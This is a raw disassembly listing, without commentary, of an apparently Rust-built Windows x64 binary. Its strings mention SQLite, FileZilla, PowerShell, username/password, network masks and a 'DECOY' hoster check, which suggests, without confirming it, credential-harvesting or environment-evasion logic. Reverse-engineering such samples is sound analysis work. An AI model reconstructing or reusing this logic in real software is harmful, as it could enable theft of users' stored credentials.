lea rax, [0x1402ab105]
mov qword [rsi + 0x10], rax
mov qword [rsi + 0x18], 0x17
lea rdx, [0x1402ab11e]
lea rdi, [rsp + 0x990]
mov r8d, 3
mov rcx, rdi
call fcn.14018bba0
mov rcx, rdi
mov rdx, rsi
call fcn.14008ca26
lea rsi, [rsp + 0x260]
mov rcx, rsi
mov rdx, rdi
call fcn.140185380
mov r13, qword [rsi]
test r13, r13
je 0x14002259b
lea r14, [rsp + 0x260]
mov r15, qword [r14 + 8]
mov rsi, qword [r14 + 0x10]
mov rdi, qword [r14 + 0x18]
mov rbx, qword [r14 + 0x20]
mov rcx, r14
mov rdx, r13
mov r8, rsi
call fcn.140055380
cmp qword [r14], 0
je 0x140022596
mov rcx, qword [rsp + 0x268]
mov bpl, byte [rsp + 0x270]
mov eax, dword [rsp + 0x271]
mov dword [rsp + 0xf40], eax
mov eax, dword [rsp + 0x274]
mov dword [rsp + 0xf43], eax
cmp bpl, 2
jne 0x1400225a8
mov bpl, 3
jmp 0x1400225c9
mov r13, qword [rsp + 0x268]
mov bpl, 2
jmp 0x1400225d4
mov qword [rsp + 0x58], rcx
mov eax, dword [rsp + 0xf40]
mov ecx, dword [rsp + 0xf43]
mov dword [rsp + 0xe23], ecx
mov dword [rsp + 0xe20], eax
mov rcx, rdi
mov rdx, rbx
call fcn.1401371c1
lea rdi, [rsp + 0x9e0]
mov rcx, qword [rdi - 0x20]
mov rdx, qword [rdi - 0x18]
call fcn.1401371c1
mov rcx, qword [rdi + 0x40]
mov rdx, qword [rdi + 0x50]
call fcn.14008ca7f
mov rcx, qword [rdi + 0x40]
mov rdx, qword [rdi + 0x48]
call fcn.14008caae
mov rcx, rdi
call fcn.14008cac2
lea rdi, [rsp + 0xa00]
mov rcx, rdi
call fcn.140096945
mov rcx, qword [rdi - 0x70]
mov rdx, qword [rdi - 0x68]
call fcn.14008cd1e
mov rcx, qword [rdi - 0x60]
mov rdx, qword [rdi - 0x58]
call fcn.14008cd1e
mov rcx, qword [rdi - 0x50]
mov rdx, qword [rdi - 0x48]
call fcn.14008cd1e
cmp bpl, 3
jne 0x1400227e3
lea rcx, [rsp + 0x260]
mov qword [rcx], 2
and qword [rcx + 8], 0
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], r13
mov qword [rcx + 0x20], rsi
and qword [rcx + 0x28], 0
mov qword [rcx + 0x30], rsi
mov qword [rcx + 0x38], 1
movabs rax, 0x2000000020
mov qword [rcx + 0x40], rax
mov word [rcx + 0x48], 1
call fcn.14008c83a
test rax, rax
je 0x140029fa4
mov rsi, rax
mov rdi, rdx
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x50], r15
mov ecx, 8
mov edx, 0x40
call fcn.14008ffa5
test rax, rax
je 0x140029fba
mov qword [rax], rsi
mov qword [rax + 8], rdi
lea r12, [rsp + 0x990]
lea rsi, [rsp + 0x260]
mov ecx, 0xa
mov rdi, r12
rep movsq qword [rdi], qword [rsi]
mov esi, 1
mov r15d, 4
mov r13d, 0x18
mov rbp, rax
mov rcx, r12
call fcn.14008c83a
test rax, rax
je 0x140022804
mov rbx, rax
mov r14, rdx
cmp rsi, r15
jne 0x1400227cd
mov rdi, r15
inc rdi
je 0x140029ba4
lea rax, [r15 + r15]
cmp rax, rdi
cmova rdi, rax
cmp rdi, 5
jae 0x14002273f
mov edi, 4
xor edx, edx
movabs rax, 0x7ffffffffffffff
cmp rdi, rax
setbe al
test r15, r15
je 0x140022774
mov rcx, r15
shl rcx, 4
mov qword [rsp + 0x4d0], rbp
mov qword [rsp + 0x4e0], rcx
mov ecx, 8
jmp 0x140022776
xor ecx, ecx
mov r8, rdi
shl r8, 4
mov dl, al
shl rdx, 3
mov qword [rsp + 0x4d8], rcx
lea rcx, [rsp + 0xf40]
lea r9, [rsp + 0x4d0]
call fcn.14008c98c
cmp qword [rsp + 0xf40], 0
mov rcx, qword [rsp + 0xf48]
je 0x1400227c7
movabs rax, 0x8000000000000001
cmp rcx, rax
je 0x1400227cd
jmp 0x140029b9f
mov rbp, rcx
mov r15, rdi
mov qword [rbp + r13 - 8], rbx
mov qword [rbp + r13], r14
inc rsi
add r13, 0x10
jmp 0x1400226fd
mov eax, dword [rsp + 0xe20]
mov ecx, dword [rsp + 0xe23]
mov dword [rsp + 0x933], ecx
mov dword [rsp + 0x930], eax
jmp 0x1400229d6
cmp rsi, 1
jbe 0x140029fa6
mov r12, qword [rbp + 0x10]
mov qword [rsp + 0x70], rbp
mov rsi, qword [rbp + 0x18]
add rsi, r12
xor edi, edi
xor r13d, r13d
mov qword [rsp + 0x90], r12
mov rbx, r13
mov bpl, 1
cmp r12, rsi
je 0x1400228d3
mov rax, r12
movzx ecx, byte [r12]
test cl, cl
js 0x14002284c
lea r12, [rax + 1]
jmp 0x1400228b6
mov edx, ecx
and edx, 0x1f
movzx r9d, byte [rax + 1]
and r9d, 0x3f
cmp cl, 0xdf
jbe 0x14002289b
movzx r8d, byte [rax + 2]
shl r9d, 6
and r8d, 0x3f
or r8d, r9d
cmp cl, 0xf0
jb 0x1400228a9
lea r12, [rax + 4]
movzx ecx, byte [rax + 3]
and edx, 7
shl edx, 0x12
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
or ecx, edx
cmp ecx, 0x110000
jne 0x1400228b6
jmp 0x14002971d
lea r12, [rax + 2]
shl edx, 6
or edx, r9d
mov ecx, edx
jmp 0x1400228b6
lea r12, [rax + 3]
shl edx, 0xc
or r8d, edx
mov ecx, r8d
mov r13, r12
sub r13, rax
add r13, rbx
call fcn.1400f2196
test al, al
jne 0x14002282b
xor ebp, ebp
mov rdi, r13
jmp 0x1400228d9
mov r13, rbx
mov r12, rsi
cmp r12, rsi
je 0x140022957
mov r14, rsi
movzx ecx, byte [rsi - 1]
test cl, cl
js 0x1400228ef
lea rsi, [r14 - 1]
jmp 0x140022943
movzx eax, byte [r14 - 2]
cmp al, 0xc0
jge 0x14002291b
movzx edx, byte [r14 - 3]
cmp dl, 0xc0
jge 0x140022924
lea rsi, [r14 - 4]
movzx r8d, byte [r14 - 4]
and r8d, 7
shl r8d, 6
and edx, 0x3f
or edx, r8d
jmp 0x14002292b
lea rsi, [r14 - 2]
and eax, 0x1f
jmp 0x140022933
lea rsi, [r14 - 3]
and edx, 0xf
shl edx, 6
and eax, 0x3f
or eax, edx
shl eax, 6
and ecx, 0x3f
or ecx, eax
cmp ecx, 0x110000
je 0x140022957
call fcn.1400f2196
test al, al
jne 0x1400228d9
sub r14, r12
add r14, r13
mov rsi, r14
jmp 0x14002295a
mov rsi, rdi
xor eax, eax
test bpl, bpl
cmovne rbx, rax
mov r13d, 1
sub rsi, rbx
mov rdi, qword [rsp + 0x70]
je 0x140022992
js 0x140029ba4
mov ecx, 1
mov rdx, rsi
call fcn.14008ffa5
mov r13, rax
test rax, rax
je 0x14002a036
mov rdx, qword [rsp + 0x90]
add rdx, rbx
mov rcx, r13
mov r8, rsi
call sub.msvcrt.dll_memcpy
test r15, r15
je 0x1400229c1
shl r15, 4
mov edx, 8
mov rcx, rdi
mov r8, r15
call fcn.1400108ae
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x50]
call fcn.1401371c1
mov bpl, 3
mov r15, rsi
mov ecx, 1
xor edx, edx
call fcn.1401371c1
cmp bpl, 3
jne 0x140022a65
mov rcx, r13
mov rdx, rsi
call fcn.14007ff6e
mov rsi, rax
mov rdi, rdx
mov rcx, rdx
call fcn.14019d3bb
mov r14, rax
mov rbx, rdx
mov rcx, rax
mov rdx, rsi
mov r8, rdi
call sub.msvcrt.dll_memcpy
mov rcx, r13
mov rdx, r15
call fcn.1401371c1
mov qword [rsp + 0xb0], r14
mov qword [rsp + 0x990], r14
mov qword [rsp + 0x998], rbx
mov qword [rsp + 0x9a0], rdi
mov rax, qword [rsp + 0x998]
mov qword [rsp + 0x260], rax
mov rax, qword [rsp + 0x9a0]
mov qword [rsp + 0x268], rax
jmp 0x140022ae8
mov qword [rsp + 0x990], r13
mov qword [rsp + 0x998], r15
mov qword [rsp + 0x9a0], rsi
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x9a8], rax
mov byte [rsp + 0x9b0], bpl
mov eax, dword [rsp + 0x930]
mov ecx, dword [rsp + 0x933]
mov dword [rsp + 0x9b1], eax
mov dword [rsp + 0x9b4], ecx
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x260], xmm0
cmp bpl, 2
jne 0x140022ad0
lea rcx, [rsp + 0x990]
call fcn.14000e506
jmp 0x140022adb
mov rcx, r13
mov rdx, r15
call fcn.1401371c1
mov eax, 1
mov qword [rsp + 0xb0], rax
mov rsi, qword [rsp + 0xde0]
mov rax, qword [rsp + 0xde8]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0xdf0]
mov qword [rsp + 0xc0], rax
movaps xmm0, xmmword [rsp + 0x1280]
movaps xmmword [rsp + 0x1340], xmm0
mov rax, qword [rsp + 0x1290]
mov qword [rsp + 0x1350], rax
movaps xmm0, xmmword [rsp + 0xdc0]
movaps xmmword [rsp + 0x1320], xmm0
mov rax, qword [rsp + 0xdd0]
mov qword [rsp + 0x1330], rax
movaps xmm0, xmmword [rsp + 0x810]
movdqa xmm1, xmmword [rsp + 0x820]
movdqa xmm2, xmmword [rsp + 0x830]
movaps xmmword [rsp + 0x750], xmm0
movdqa xmmword [rsp + 0x760], xmm1
movdqa xmmword [rsp + 0x770], xmm2
movdqa xmm0, xmmword [rsp + 0x260]
movdqa xmmword [rsp + 0x1380], xmm0
mov rcx, qword [rsp + 0x1260]
mov rdx, qword [rsp + 0x1268]
call fcn.1401371c1
test rsi, rsi
je 0x140022c97
mov rax, qword [rsp + 0x1350]
mov qword [rsp + 0x13d0], rax
movaps xmm0, xmmword [rsp + 0x1340]
movaps xmmword [rsp + 0x13c0], xmm0
movaps xmm0, xmmword [rsp + 0x1320]
movaps xmmword [rsp + 0x13a0], xmm0
mov rax, qword [rsp + 0x1330]
mov qword [rsp + 0x13b0], rax
movaps xmm0, xmmword [rsp + 0x750]
movdqa xmm1, xmmword [rsp + 0x760]
movdqa xmm2, xmmword [rsp + 0x770]
movaps xmmword [rsp + 0x1400], xmm0
movdqa xmmword [rsp + 0x1410], xmm1
movdqa xmmword [rsp + 0x1420], xmm2
movdqa xmm0, xmmword [rsp + 0x1380]
movdqa xmmword [rsp + 0x13f0], xmm0
mov rax, qword [rsp + 0xa0]
mov byte [rax + 0x288], 0
mov rcx, qword [rsp + 0xe0]
test rcx, rcx
mov qword [rsp + 0xd0], rsi
je 0x140022ca4
movabs rax, 0x2aaaaaaaaaaaaab
cmp rcx, rax
jae 0x140029ba4
imul rsi, rcx, 0x30
mov rcx, rsi
call fcn.1400108b8
mov rcx, qword [rsp + 0xe0]
mov qword [rsp + 0x88], rax
test rax, rax
jne 0x140022cb1
jmp 0x140029bab
mov rax, qword [rsp + 0xa0]
jmp 0x140029601
mov eax, 8
mov qword [rsp + 0x88], rax
imul rbx, rcx, 0x50
mov rax, qword [rsp + 0x1a0]
add rbx, rax
lea r14, [rsp + 0x278]
xor r15d, r15d
mov qword [rsp + 0x80], rbx
cmp rax, rbx
je 0x1400230c4
lea r13, [rax + 0x50]
mov ecx, 0xa
lea rdi, [rsp + 0xf40]
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
cmp byte [rsp + 0xf88], 2
je 0x1400230cf
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x940], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x930], xmm0
mov r12, qword [rax + 0x18]
mov rdi, qword [rax + 0x20]
mov rbx, qword [rax + 0x28]
mov rcx, qword [rax + 0x30]
mov rdx, qword [rax + 0x38]
test rbx, rbx
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x90], rdx
je 0x140022d73
movabs rax, 0x1745d1745d1745e
cmp rbx, rax
jae 0x140029ba4
imul rsi, rbx, 0x58
mov rcx, rsi
call fcn.1400108b8
test rax, rax
jne 0x140022d78
jmp 0x140029bab
mov eax, 8
mov qword [rsp + 0x58], rbx
imul r15, rbx, 0x50
lea rcx, [r12 + r15]
mov qword [rsp + 0x810], r12
mov qword [rsp + 0x818], rdi
mov qword [rsp + 0x78], rcx
mov qword [rsp + 0x828], rcx
add r12, 0x50
mov qword [rsp + 0x68], rax
mov rbx, rax
xor ebp, ebp
test r15, r15
je 0x14002301f
lea rax, [r12 - 0x50]
mov ecx, 0xa
lea rdi, [rsp + 0x4d0]
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
cmp byte [rsp + 0x4d0], 6
je 0x140023036
mov ecx, 0xa
lea rdi, [rsp + 0x990]
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov rsi, qword [rsp + 0x9c8]
mov rdi, qword [rsp + 0x9d8]
mov r9d, 6
mov rcx, rsi
mov rdx, rdi
lea r8, [0x1402cea01]
call fcn.140096256
mov r13d, 1
test al, al
jne 0x140022ead
mov r9d, 6
mov rcx, rsi
mov rdx, rdi
lea r8, str.sqlitefile_createfilezillapowershell
call fcn.140096256
mov r13d, 2
test al, al
jne 0x140022ead
mov r9d, 0xb
mov rcx, rsi
mov rdx, rdi
lea r8, [0x140272ea6]
call fcn.140096256
mov r13d, 3
test al, al
jne 0x140022ead
mov r9d, 9
mov rcx, rsi
mov rdx, rdi
lea r8, [0x140272eb1]
call fcn.140096256
mov r13d, 4
test al, al
jne 0x140022ead
mov r9d, 0xa
mov rcx, rsi
mov rdx, rdi
lea r8, [0x140272eba]
call fcn.140096256
movzx eax, al
lea r13d, [rax + rax*4]
lea rcx, [rsp + 0x750]
mov rdx, rsi
mov r8, rdi
call fcn.14004b8b0
mov ecx, pe_nt_image_headers64
call fcn.14019d3bb
mov qword [rsp + 0x11a0], rax
mov qword [rsp + 0x11a8], rdx
and qword [rsp + 0x11b0], 0
lea rax, [rsp + 0x11a0]
mov qword [rsp + 0x1c0], rax
lea rcx, [rsp + 0x990]
lea rdx, [rsp + 0x1c0]
call fcn.140003f16
mov rcx, qword [rsp + 0x11a0]
test rax, rax
jne 0x140029992
mov rdi, qword [rsp + 0x11a8]
test rcx, rcx
je 0x1400299a2
mov rax, qword [rsp + 0x11b0]
mov qword [rsp + 0x11a0], rcx
mov qword [rsp + 0x11a8], rdi
mov qword [rsp + 0x11b0], rax
lea rcx, [rsp + 0xe38]
lea rdx, [rsp + 0x11a0]
call fcn.14004dc83
movups xmm0, xmmword [rsp + 0x750]
movaps xmmword [rsp + 0xe20], xmm0
mov rax, qword [rsp + 0x760]
mov qword [rsp + 0xe30], rax
mov rax, qword [rsp + 0xe50]
mov qword [r14 + 0x30], rax
movdqa xmm1, xmmword [rsp + 0xe40]
movdqu xmmword [r14 + 0x20], xmm1
mov rax, qword [rsp + 0xe30]
mov qword [r14 + 0x10], rax
mov rax, qword [rsp + 0xe38]
mov qword [r14 + 0x18], rax
movups xmmword [r14], xmm0
lea rax, [rsp + 0x9b0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x260], xmm0
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x270], rax
mov rdx, qword [rsp + 0x9d0]
mov rcx, rsi
call fcn.1401371c1
lea rcx, [rsp + 0x990]
call fcn.14000e6ce
mov ecx, 0xa
mov rdi, rbx
lea rsi, [rsp + 0x260]
rep movsq qword [rdi], qword [rsi]
mov dword [rbx + 0x50], r13d
inc rbp
add r12, 0x50
add r15, 0xffffffffffffffb0
add rbx, 0x58
jmp 0x140022db0
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x820], rax
mov byte [rsp + 0x4d0], 6
jmp 0x14002303e
mov qword [rsp + 0x820], r12
lea rcx, [rsp + 0x4d0]
call fcn.14000f139
lea rcx, [rsp + 0x810]
call fcn.14000f2a0
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x90]
call fcn.1401371c1
mov r15, qword [rsp + 0x50]
imul rax, r15, 0x30
mov rcx, qword [rsp + 0x940]
mov rdx, qword [rsp + 0x88]
mov qword [rdx + rax + 0x10], rcx
movdqa xmm0, xmmword [rsp + 0x930]
movdqu xmmword [rdx + rax], xmm0
mov rcx, qword [rsp + 0x68]
mov qword [rdx + rax + 0x18], rcx
mov rcx, qword [rsp + 0x58]
mov qword [rdx + rax + 0x20], rcx
mov qword [rdx + rax + 0x28], rbp
inc r15
mov rax, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x80]
jmp 0x140022cd3
mov byte [rsp + 0xf88], 2
mov r13, rbx
lea rcx, [rsp + 0xf40]
call fcn.14000f218
sub rbx, r13
xor esi, esi
mov ecx, 0x50
mov rax, rbx
xor edx, edx
div rcx
mov rcx, r13
mov rdx, rax
call fcn.14000ee44
mov rcx, qword [rsp + 0x1a0]
mov rdx, qword [rsp + 0x1a8]
call fcn.14000f155
lea rdx, str.HOSTER_ACTIONIS_DECOY_AD
lea rdi, [rsp + 0x260]
mov r8d, 0xd
mov rcx, rdi
call fcn.1401750f0
mov bpl, byte [rdi + 0x18]
mov r12d, 1
cmp bpl, 3
jne 0x140023178
mov rdi, qword [rsp + 0x260]
mov rbx, qword [rsp + 0x268]
mov rdx, qword [rsp + 0x270]
mov rcx, rdi
call fcn.14005d580
mov rsi, rax
xor r12d, r12d
test sil, 1
sete r12b
shr rsi, 0x20
mov rcx, rdi
mov rdx, rbx
call fcn.1401371c1
lea rdx, [0x1402738b5]
lea rdi, [rsp + 0x990]
mov r8d, 0xb
mov rcx, rdi
call fcn.1401750f0
cmp byte [rdi + 0x18], 3
jne 0x140023206
mov r13, r15
mov rbx, qword [rsp + 0x990]
mov r14, qword [rsp + 0x998]
mov r15, qword [rsp + 0x9a0]
lea r8, str.truefalse_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_alloc_srccollections_btreemapentry.rs
mov r9d, 4
mov rcx, rbx
mov rdx, r15
call fcn.140096256
mov dil, 1
test al, al
jne 0x1400231f6
lea r8, [0x140347aec]
mov r9d, 5
mov rcx, rbx
mov rdx, r15
call fcn.140096256
mov edi, eax
xor dil, 1
add dil, dil
mov rcx, rbx
mov rdx, r14
call fcn.1401371c1
mov r15, r13
jmp 0x140023215
lea rcx, [rsp + 0x990]
call fcn.14000f34a
xor edi, edi
cmp bpl, 3
je 0x140023228
lea rcx, [rsp + 0x260]
call fcn.14000f34a
mov rcx, qword [rsp + 0xa0]
mov dword [rcx], r12d
mov dword [rcx + 4], esi
mov rax, qword [rsp + 0xd0]
mov qword [rcx + 8], rax
mov rax, qword [rsp + 0xa8]
mov qword [rcx + 0x10], rax
mov rax, qword [rsp + 0xc0]
mov qword [rcx + 0x18], rax
mov rax, qword [rsp + 0x198]
mov qword [rcx + 0x20], rax
mov rax, qword [rsp + 0x248]
mov qword [rcx + 0x28], rax
mov rax, qword [rsp + 0xe00]
mov qword [rcx + 0x30], rax
mov rax, qword [rsp + 0x258]
mov qword [rcx + 0x38], rax
mov rax, qword [rsp + 0x98]
mov qword [rcx + 0x40], rax
mov rax, qword [rsp + 0xb8]
mov qword [rcx + 0x48], rax
mov rax, qword [rsp + 0x13d0]
mov qword [rcx + 0x60], rax
movaps xmm0, xmmword [rsp + 0x13c0]
movups xmmword [rcx + 0x50], xmm0
movaps xmm0, xmmword [rsp + 0x13a0]
movups xmmword [rcx + 0x68], xmm0
mov rax, qword [rsp + 0x13b0]
mov qword [rcx + 0x78], rax
movaps xmm0, xmmword [rsp + 0x1400]
movdqa xmm1, xmmword [rsp + 0x1410]
movdqa xmm2, xmmword [rsp + 0x1420]
movdqu xmmword [rcx + 0x90], xmm1
movdqu xmmword [rcx + 0xa0], xmm2
movups xmmword [rcx + 0x80], xmm0
mov rax, qword [rsp + 0xb0]
mov qword [rcx + 0xb0], rax
movdqa xmm0, xmmword [rsp + 0x13f0]
movdqu xmmword [rcx + 0xb8], xmm0
mov rax, qword [rsp + 0xd8]
mov qword [rcx + 0xc8], rax
mov rax, qword [rsp + 0xe8]
mov qword [rcx + 0xd0], rax
mov qword [rcx + 0xd8], rax
mov rax, qword [rsp + 0x88]
mov qword [rcx + 0xe0], rax
mov rax, qword [rsp + 0xe0]
mov qword [rcx + 0xe8], rax
mov qword [rcx + 0xf0], r15
mov byte [rcx + 0xf8], dil
lea rax, [rcx + 0x268]
mov qword [rsp + 0x808], rax
mov byte [rcx + 0x268], 0
mov r15, rcx
add rcx, 0x100
mov r8d, 0x100
mov rdx, r15
call sub.msvcrt.dll_memcpy
mov ecx, pe_nt_image_headers64
call fcn.14019d3bb
lea rcx, [rsp + 0x260]
mov qword [rcx], rax
mov qword [rcx + 8], rdx
and qword [rcx + 0x10], 0
lea rbx, [rsp + 0x11a0]
mov qword [rbx], rcx
lea rsi, [0x1403467d0]
mov r8d, 1
mov rdx, rsi
call fcn.14006c0e5
lea rdi, [rsp + 0x810]
mov qword [rdi], rbx
mov bl, 1
mov byte [rdi + 8], bl
lea rdx, [0x140273840]
mov r8d, 0x12
mov rcx, rdi
call fcn.1400129f1
mov rdi, qword [rdi]
mov rcx, qword [rdi]
call fcn.140003ef2
mov rcx, qword [rdi]
mov r8d, 1
mov rdx, rsi
call fcn.14000af8d
lea rsi, [rsp + 0xe20]
mov qword [rsi], rdi
mov byte [rsi + 8], bl
mov r9, qword [r15 + 0x108]
mov rax, qword [r15 + 0x118]
mov qword [rsp + 0x20], rax
lea rdx, [0x140273811]
mov r8d, 0xa
mov rcx, rsi
call fcn.140012d72
mov r9, qword [r15 + 0x120]
mov rax, qword [r15 + 0x130]
mov qword [rsp + 0x20], rax
lea rdx, [0x14027381b]
mov r8d, 8
mov rcx, rsi
call fcn.140012d72
lea rdx, [0x140273823]
mov r8d, 0xa
mov rcx, rsi
call fcn.1400129f1
mov r14, qword [rsi]
mov rcx, qword [r14]
call fcn.140003ef2
mov rdi, qword [r15 + 0x138]
mov rsi, qword [r15 + 0x148]
lea rbx, [rsp + 0x990]
mov rcx, rbx
mov rdx, r14
mov r8, rsi
call fcn.1400137c2
mov dl, byte [rbx + 8]
mov r14, qword [rbx]
cmp dl, 3
je 0x140029585
mov r12, r14
imul rsi, rsi, 0x68
lea rbx, [rsp + 0x990]
lea r13, [0x1402ce6b0]
lea rbp, str.netmaskbroadcastmS_n_
test rsi, rsi
je 0x140023621
lea r14, [rdi + 0x68]
cmp dl, 1
sete dl
mov r15, r12
mov rcx, qword [r12]
call fcn.140003edb
mov rcx, qword [r12]
mov r8d, 1
lea rdx, [0x1403467d0]
call fcn.14000af8d
mov qword [rsp + 0x990], r12
mov byte [rsp + 0x998], 1
mov r9, qword [rdi]
mov rax, qword [rdi + 0x10]
mov qword [rsp + 0x20], rax
mov r8d, 2
mov rcx, rbx
lea rdx, [0x1402a9b68]
call fcn.140012d72
mov r9d, dword [rdi + 0x60]
mov r8d, 7
mov rcx, rbx
lea rdx, [0x140273733]
call fcn.140012dee
mov r8d, 0xb
mov rcx, rbx
lea rdx, [0x14027373a]
call fcn.1400129f1
mov r15, qword [rsp + 0x990]
mov rcx, qword [r15]
call fcn.140003ef2
mov cl, byte [rdi + 0x64]
mov rdx, qword [r15]
call fcn.1400106b6
mov r9, qword [rdi + 0x48]
mov rax, qword [rdi + 0x58]
mov qword [rsp + 0x20], rax
mov r8d, 3
mov rcx, rbx
lea rdx, [0x140273745]
call fcn.140012d27
mov r9, qword [rdi + 0x18]
mov rax, qword [rdi + 0x28]
mov qword [rsp + 0x20], rax
mov r8d, 4
mov rcx, rbx
mov rdx, r13
call fcn.140012d72
mov r9, qword [rdi + 0x30]
mov rax, qword [rdi + 0x40]
mov qword [rsp + 0x20], rax
mov r8d, 7
mov rcx, rbx
mov rdx, rbp
call fcn.140012d72
mov rax, qword [rsp + 0x990]
mov dl, byte [rsp + 0x998]
mov rcx, qword [rax]
call fcn.140012a30
add rsi, 0xffffffffffffff98
mov dl, 2
mov rdi, r14
jmp 0x1400234ef
mov rcx, qword [r12]
call fcn.140012a39
mov r14, qword [rsp + 0xa0]
mov r9, qword [r14 + 0x150]
mov rax, qword [r14 + 0x160]
mov qword [rsp + 0x20], rax
lea rdx, [0x14027382d]
lea rsi, [rsp + 0xe20]
mov r8d, 2
mov rcx, rsi
call fcn.140012d72
mov r9, qword [r14 + 0x168]
mov rax, qword [r14 + 0x178]
mov qword [rsp + 0x20], rax
lea rdx, [0x14027382f]
mov r8d, 4
mov rcx, rsi
call fcn.140012d72
lea rdx, [0x140273833]
mov r8d, 4
mov rcx, rsi
call fcn.1400129f1
mov rbx, qword [rsi]
mov rcx, qword [rbx]
call fcn.140003ef2
mov rcx, qword [rbx]
lea rdx, [0x1403467d0]
mov r8d, 1
call fcn.14000af8d
lea rdi, [rsp + 0x990]
mov qword [rdi], rbx
mov byte [rdi + 8], 1
mov r9, qword [r14 + 0x180]
mov rax, qword [r14 + 0x190]
mov qword [rsp + 0x20], rax
lea rdx, [0x14027372b]
mov r8d, 8
mov rcx, rdi
call fcn.140012d72
mov r9, qword [r14 + 0x198]
mov rax, qword [r14 + 0x1a8]
mov qword [rsp + 0x20], rax
lea rdx, str.usernamepasswordmS_n_
mov r8d, 8
mov rcx, rdi
call fcn.140012d72
mov rax, qword [rdi]
mov dl, byte [rdi + 8]
mov rcx, qword [rax]
call fcn.140012a30
mov r9, qword [r14 + 0x1b0]
mov rax, qword [r14 + 0x1c0]
mov qword [rsp + 0x20], rax
lea rdx, [0x140273837]
mov r8d, 4
mov rcx, rsi
call fcn.140012d72
lea rdx, [0x14027383b]
mov r8d, 5
mov rcx, rsi
call fcn.1400129f1
mov rbx, qword [rsi]
mov rcx, qword [rbx]
call fcn.140003ef2
mov r12, qword [r14 + 0x1c8]
test r12, r12
je 0x140023c8e
mov rsi, qword [r14 + 0x1d8]
lea rdi, [rsp + 0x990]
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call fcn.1400137c2
mov dl, byte [rdi + 8]
mov r14, qword [rdi]
cmp dl, 3
je 0x140029585
mov qword [rsp + 0x60], rbx
imul rax, rsi, 0x88
mov qword [rsp + 0x50], rax
xor r13d, r13d
lea rbx, [0x1403467d0]
lea r15, [rsp + 0xf40]
cmp qword [rsp + 0x50], r13
je 0x140023c7f
cmp dl, 1
sete dl
mov rcx, qword [r14]
call fcn.140003edb
mov rcx, qword [r14]
mov r8d, 1
mov rdx, rbx
call fcn.14000af8d
mov rdi, r14
mov qword [rsp + 0xf40], r14
mov byte [rsp + 0xf48], 1
mov r9, qword [r12 + r13 + 0x40]
mov rax, qword [r12 + r13 + 0x50]
mov qword [rsp + 0x20], rax
mov r8d, 8
mov rcx, r15
lea rdx, [0x14027372b]
call fcn.140012d27
mov r9, qword [r12 + r13 + 0x58]
mov rax, qword [r12 + r13 + 0x68]
mov qword [rsp + 0x20], rax
mov r8d, 4
mov rcx, r15
lea rdx, [0x1402ce6b0]
call fcn.140012d27
mov r9, qword [r12 + r13 + 0x70]
mov rax, qword [r12 + r13 + 0x80]
mov qword [rsp + 0x20], rax
mov r8d, 0xf
mov rcx, r15
lea rdx, [0x140273748]
call fcn.140012d27
mov r8d, 0x14
mov rcx, r15
lea rdx, [0x140273757]
call fcn.1400129f1
mov rbp, qword [rsp + 0xf40]
mov rcx, qword [rbp]
call fcn.140003ef2
mov esi, dword [r12 + r13]
cmp esi, 3
jne 0x1400238bc
mov rcx, qword [rbp]
call fcn.140003ec9
jmp 0x140023c5e
mov rcx, qword [rbp]
mov r8d, 1
mov rdx, rbx
call fcn.14000af8d
mov qword [rsp + 0x4d0], rbp
mov byte [rsp + 0x4d8], 1
mov r8d, 9
lea rcx, [rsp + 0x4d0]
lea rdx, [0x140272eb1]
call fcn.1400129f1
mov r14, qword [rsp + 0x4d0]
mov rcx, qword [r14]
call fcn.140003ef2
cmp esi, 2
jne 0x14002391a
mov rcx, qword [r14]
call fcn.140003ec9
jmp 0x14002399f
mov rcx, qword [r14]
mov r8d, 1
mov rdx, rbx
call fcn.14000af8d
mov qword [rsp + 0x990], r14
mov byte [rsp + 0x998], 1
mov r9d, dword [r12 + r13]
mov eax, dword [r12 + r13 + 4]
mov dword [rsp + 0x20], eax
mov r8d, 0x12
lea rsi, [rsp + 0x990]
mov rcx, rsi
lea rdx, [0x1402737b1]
call fcn.140012da9
mov r9d, dword [r12 + r13 + 8]
mov eax, dword [r12 + r13 + 0xc]
mov dword [rsp + 0x20], eax
mov r8d, 0x14
mov rcx, rsi
lea rdx, [0x1402737c3]
call fcn.140012da9
mov rax, qword [rsp + 0x990]
mov dl, byte [rsp + 0x998]
mov rcx, qword [rax]
call fcn.140012a30
mov r8d, 6
lea r14, [rsp + 0x4d0]
mov rcx, r14
lea rdx, [0x1402737f1]
call fcn.1400129f1
mov rsi, qword [rsp + 0x4d0]
mov rcx, qword [rsi]
call fcn.140003ef2
cmp dword [r12 + r13 + 0x10], 2
jne 0x1400239de
mov rcx, qword [rsi]
call fcn.140003ec9
jmp 0x140023a3e
mov rcx, qword [rsi]
mov r8d, 1
mov rdx, rbx
call fcn.14000af8d
mov qword [rsp + 0x990], rsi
mov byte [rsp + 0x998], 1
mov r9d, dword [r12 + r13 + 0x10]
mov eax, dword [r12 + r13 + 0x14]
mov dword [rsp + 0x20], eax
mov r8d, 0xe
lea rcx, [rsp + 0x990]
lea rdx, [0x1402737d7]
call fcn.140012da9
mov rax, qword [rsp + 0x990]
mov dl, byte [rsp + 0x998]
mov rcx, qword [rax]
call fcn.140012a30
mov r8d, 5
mov rcx, r14
lea rdx, [0x1402737f7]
call fcn.1400129f1
mov rsi, qword [rsp + 0x4d0]
mov rcx, qword [rsi]
call fcn.140003ef2
cmp dword [r12 + r13 + 0x18], 2
jne 0x140023a75
